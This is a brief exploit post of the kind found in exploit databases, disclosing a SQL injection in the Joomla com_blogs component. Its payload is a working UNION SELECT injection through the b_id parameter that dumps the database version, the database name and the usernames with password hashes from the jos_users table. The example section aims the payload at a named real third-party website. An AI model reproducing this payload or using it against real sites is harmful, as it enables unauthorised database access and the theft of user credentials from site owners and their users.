Joomla Component com_blogs SQL injection vulnerability

in

~[+] Exploit Title: Joomla Component Blogs SQL injection vulnerability
~[+] Author : ibl13Z [at]hackermail.com

~[+] Vulnerable :
http://127.0.0.1/index.php?option=com_blogs&task=details&b_id=[CrutZ]

~[+] Exploit:
/index.php?option=com_blogs&task=details&b_id=173 /**/ AND /**/ 1=2 /**/ UNION /**/ SELECT /**/ 0,1,2,3,version(),database(),concat(username,0x3a,password) /**/ from /**/ jos_users--

~[+] Example :
http://www.mumcentremalaysia.com/index.php?option=com_blogs&task=details&b_id=173 /**/ AND /**/ 1=2 /**/ UNION /**/ SELECT /**/ 0,1,2,3,version(),database(),concat(username,0x3a,password) /**/ from /**/ jos_users--